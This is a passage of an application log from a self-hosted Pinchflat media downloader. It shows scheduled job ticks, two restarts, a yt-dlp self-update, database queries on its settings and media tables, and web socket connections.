0, 1}, 41676}, bindings: %{}, sock: {{172, 18, 0, 3}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,a (truncated) 00:07:53.416 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.394 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:23.418 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:53.420 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.399 [info] {"source":"oban","duration":4187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:23.422 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:53.423 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.400 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:23.425 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:53.426 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.402 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:23.428 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:53.430 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.403 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:23.432 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:36.637 [notice] SIGTERM received - shutting down 00:12:36.637 [info] DRAINING 1 of 1 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 00:12:36.677 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 00:13:10.650 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:13:10.660 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:13:10.651 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:13:10.658 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:13:10.668 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:13:10.688 [debug] QUERY OK source="oban_jobs" db=10.2ms queue=39.7ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 00:13:10.688 [info] Reset 0 executing jobs 00:13:10.697 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 00:13:14.906 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 00:13:14.906 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 00:13:15.554 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 00:13:15.562 [debug] QUERY OK source="settings" db=0.2ms queue=5.2ms idle=914.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:15.573 [debug] QUERY OK source="settings" db=10.4ms idle=920.6ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 00:13:15.575 [debug] QUERY OK source="settings" db=2.2ms idle=931.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:15.582 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:13:15.599 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 00:13:15.633 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 00:13:15.646 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 00:13:15.672 [info] {"args":{},"id":255,"meta":{},"system_time":1774163595672439749,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 00:13:15.672 [info] Updating yt-dlp 00:13:15.672 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 00:13:19.863 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 00:13:19.863 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 00:13:21.065 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 00:13:21.067 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1422.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:13:21.068 [debug] QUERY OK source="settings" db=1.1ms idle=1423.5ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 00:13:21.071 [info] {"args":{},"id":255,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":5396080,"event":"job:stop","queue_time":662767,"attempt":1,"tags":["local_data"]} 00:13:37.442 [info] CONNECTED TO Phoenix.LiveView.Socket in 37µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "3", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 00:13:37.562 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 00:13:37.562 [debug] Replied in 170µs 00:13:37.682 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 00:13:37.682 [debug] Replied in 159µs 00:13:45.591 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.591 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:15.593 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:45.594 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.592 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:15.596 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:45.598 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.593 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:15.600 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:45.602 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.595 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:15.604 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:45.606 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.595 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:15.608 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:45.610 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.597 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:15.612 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:45.614 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.601 [info] {"source":"oban","duration":4066,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:15.615 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:45.618 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.603 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:15.619 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:45.621 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.604 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:15.622 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:45.623 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.605 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:15.625 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:45.627 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.606 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:15.629 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:45.631 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.608 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:15.633 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:45.635 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.608 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:15.637 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:45.639 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.609 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:15.641 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:45.642 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.612 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:15.644 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:45.646 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.614 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:15.647 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:45.649 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.615 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:15.652 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:45.655 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.617 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:15.656 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:45.658 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.619 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:14.942 [notice] SIGTERM received - shutting down 00:32:14.942 [info] DRAINING 1 of 1 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 00:32:15.660 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:15.982 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 00:32:21.530 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:32:21.533 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:32:21.533 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:32:21.533 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:32:21.538 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 00:32:21.540 [debug] QUERY OK source="oban_jobs" db=3.7ms queue=8.1ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 00:32:21.540 [info] Reset 0 executing jobs 00:32:21.542 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 00:32:22.383 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 00:32:22.383 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 00:32:22.543 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 00:32:22.544 [debug] QUERY OK source="settings" db=0.2ms queue=0.7ms idle=1006.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:32:22.544 [debug] QUERY OK source="settings" db=0.2ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:32:22.545 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:32:22.547 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 00:32:22.551 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 00:32:22.552 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 00:32:22.561 [info] {"args":{},"id":256,"meta":{},"system_time":1774164742561751228,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 00:32:22.562 [info] Updating yt-dlp 00:32:22.562 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 00:32:23.608 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 00:32:23.609 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 00:32:24.484 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 00:32:24.485 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1940.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:32:24.486 [info] {"args":{},"id":256,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1924150,"event":"job:stop","queue_time":560590,"attempt":1,"tags":["local_data"]} 00:32:32.731 [info] CONNECTED TO Phoenix.LiveView.Socket in 38µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "IQsNOgY8MAFBLBYUamF9OSMPVQ8tCBBCkX4iRYjw8YNQYR2OpZ77eBX0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "4", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 00:32:32.845 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 00:32:32.845 [debug] Replied in 250µs 00:32:32.965 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 00:32:32.965 [debug] Replied in 225µs 00:32:52.548 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.548 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:22.550 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:52.552 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.550 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:22.554 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:52.556 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.556 [info] {"source":"oban","duration":4194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:22.558 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:52.560 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.557 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:22.562 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:52.565 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.559 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:22.566 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:52.568 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.562 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:22.571 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:52.572 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.566 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:22.574 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:52.576 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.567 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:22.578 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:52.582 [info] {"source":"oban","duration":3198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.569 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:22.585 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:52.586 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.571 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:22.588 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:52.590 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.572 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:22.592 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:52.594 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.574 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:22.596 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:52.598 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.576 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:22.601 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:52.602 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.577 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:22.604 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:52.607 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.579 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:22.608 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:52.610 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.580 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:22.612 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:52.614 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.583 [info] {"source":"oban","duration":2575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:22.616 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:52.618 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.585 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:22.620 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:52.622 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.588 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:22.624 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:52.626 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.589 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:22.628 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:29.286 [info] GET / 00:52:29.286 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:52:29.287 [debug] QUERY OK source="settings" db=0.4ms idle=759.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:52:29.287 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=759.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:52:29.288 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=760.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:52:29.337 [debug] QUERY OK source="media_items" db=48.3ms queue=0.2ms idle=761.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:52:29.345 [debug] QUERY OK source="media_items" db=7.5ms queue=0.3ms idle=289.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:52:29.346 [debug] QUERY OK source="settings" db=0.5ms idle=58.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:52:29.347 [debug] QUERY OK source="settings" db=0.7ms idle=58.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 